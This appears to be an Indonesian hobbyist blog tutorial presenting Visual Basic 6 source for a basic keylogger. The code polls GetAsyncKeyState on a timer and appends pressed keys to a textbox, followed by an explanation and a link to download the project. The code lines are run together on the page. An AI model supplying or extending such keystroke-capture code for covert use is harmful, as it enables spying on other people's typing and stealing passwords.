Timer (name:Timer1,interval:200)
Textbox(name:Text1,Multiline:True)
Lihat gambar berikut !
Lalu tuliskan codingnya di balik jendela code form !
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As IntegerPrivate Function GetKey() As StringDim Num As ByteFor Num = 33 To 122If GetAsyncKeyState(Num) <> 0 ThenGetKey = Chr(Num)Exit ForEnd IfNextEnd FunctionPrivate Sub Timer1_Timer()Text1.Text = Text1.Text & GetKeyEnd Sub
Penjelasan
GetAsyncKeyState, adalah fungsi API untuk mengecek apakah sedang ada tombol yang ditekan (dengan nilai ASC dalam parameternya). Maka jika ada tombol yang sedang di tekan (dengan nilai asc pada paramaternya – vKey) dia akan mengembalikan nilai bukan 0 (ndok), namun jika saat dia dipanggil tidak ada tombol yang ditekan maka dia mengembalikan nilai 0 (ndok)
Interval 200, pada timer menunjukan, proses pengecekan dilakukan 1/5 detik. Dengan kecepatan ini, terkadang Keylogger menangkap 1 tombol dengan 2 kali output. Namun ini lebih baik, dari pada kita memakai interval yang rendah, karena bisa saja ketikan tidak tertangkap dengan sempurna.
Textbox,kita pakai untuk menampung ketikan user.
OK kira – kira cukup sampai disini, bias dikembangkan sendiri.Silahkan jalankan maka program akan menangkap aktifitas tangan pada keyboard anda bukan pada celana anda lho.. Ha9x.
Download contoh projeknya !
Tidak ada komentar:
Posting Komentar